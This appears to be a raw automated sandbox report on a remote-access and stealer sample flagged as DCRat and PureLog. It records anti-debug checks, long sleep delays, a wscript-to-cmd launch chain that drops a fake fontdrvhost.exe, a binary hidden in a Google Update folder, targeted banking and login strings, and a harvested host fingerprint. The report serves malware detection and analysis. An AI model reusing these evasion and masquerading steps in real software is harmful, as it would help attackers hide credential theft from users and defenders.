Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -594635s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -594505s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -594041s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -593609s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -593437s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -593328s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -593219s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 5588	Thread sleep time: -593109s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe TID: 4952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Drivers\fontdrvhost.exe TID: 2356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Drivers\fontdrvhost.exe TID: 3172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Drivers\fontdrvhost.exe TID: 7212	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\PING.EXE

Last function: Thread delayed

Source: C:\Drivers\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Drivers\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Drivers\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Drivers\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00B8A69B
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00B9C220
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BAB348 FindFirstFileExA,	0_2_00BAB348

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B9E6A3 VirtualQuery,GetSystemInfo,

0_2_00B9E6A3

Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99782	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99667	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98944	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98829	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98704	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98579	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98454	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98329	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98204	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 98078	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 97951	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 596840	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599730	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598840	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 598489	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597448	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597315	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596748	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596636	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596155	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595927	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595122	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 595008	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594635	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594505	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 594041	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593609	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593219	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 593109	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Drivers\fontdrvhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: yMxl40p9wV.24.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: yMxl40p9wV.24.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: yMxl40p9wV.24.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: yMxl40p9wV.24.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: yMxl40p9wV.24.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: yMxl40p9wV.24.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: fontdrvhost.exe, 00000005.00000002.2226630126.000000001BAAD000.00000004.00000020.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4607725913.000000001B1B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yMxl40p9wV.24.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: yMxl40p9wV.24.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: yMxl40p9wV.24.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: wscript.exe, 00000002.00000003.2138816101.0000000003734000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: yMxl40p9wV.24.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: fontdrvhost.exe, 00000005.00000002.2226153517.000000001B9DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: yMxl40p9wV.24.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: yMxl40p9wV.24.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: yMxl40p9wV.24.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: yMxl40p9wV.24.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: yMxl40p9wV.24.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: yMxl40p9wV.24.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: yMxl40p9wV.24.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: yMxl40p9wV.24.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: yMxl40p9wV.24.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: yMxl40p9wV.24.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

API call chain: ExitProcess graph end node

graph_0-23998

Source: C:\Drivers\fontdrvhost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B9F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B9F838

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00BA7DEE mov eax, dword ptr fs:[00000030h]

0_2_00BA7DEE

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00BAC030 GetProcessHeap,

0_2_00BAC030

Source: C:\Drivers\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process token adjusted: Debug
Source: C:\Drivers\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Drivers\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Drivers\fontdrvhost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B9F838
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9F9D5 SetUnhandledExceptionFilter,	0_2_00B9F9D5
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B9FBCA
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BA8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BA8EBD

Source: C:\Drivers\fontdrvhost.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\/Drivers/fontdrvhost.exe"	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\Drivers\fontdrvhost.exe"

Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"2","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"5","Cookies Domains (e9db)":"","Passwords Domains (e9db)":""},"5.0.1",5,1,"NEWORK PC","user","138727","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files (x86)\\google\\Update\\1.3.36.312\\Recovery\\GUR2DE8.tmp","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ,"Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"2","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"5","Cookies Domains (e9db)":"","Passwords Domains (e9db)":""},"5.0.1",5,1,"NEWORK PC","user","138727","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files (x86)\\google\\Update\\1.3.36.312\\Recovery\\GUR2DE8.tmp","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / Ne
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B9F654 cpuid

0_2_00B9F654

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00B9AF0F

Source: C:\Drivers\fontdrvhost.exe	Queries volume information: C:\Drivers\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Queries volume information: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Queries volume information: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe VolumeInformation
Source: C:\Drivers\fontdrvhost.exe	Queries volume information: C:\Drivers\fontdrvhost.exe VolumeInformation
Source: C:\Drivers\fontdrvhost.exe	Queries volume information: C:\Drivers\fontdrvhost.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Drivers\fontdrvhost.exe	Queries volume information: C:\Drivers\fontdrvhost.exe VolumeInformation

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B9DF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00B9DF1E

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B8B146 GetVersionExW,

0_2_00B8B146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 5.2.fontdrvhost.exe.128bc1d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002E14000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 3084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AdbXCBUViTnoVBSsOq.exe PID: 7048, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: eP6sjvTqJa.exe, type: SAMPLE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack, type: UNPACKEDPE
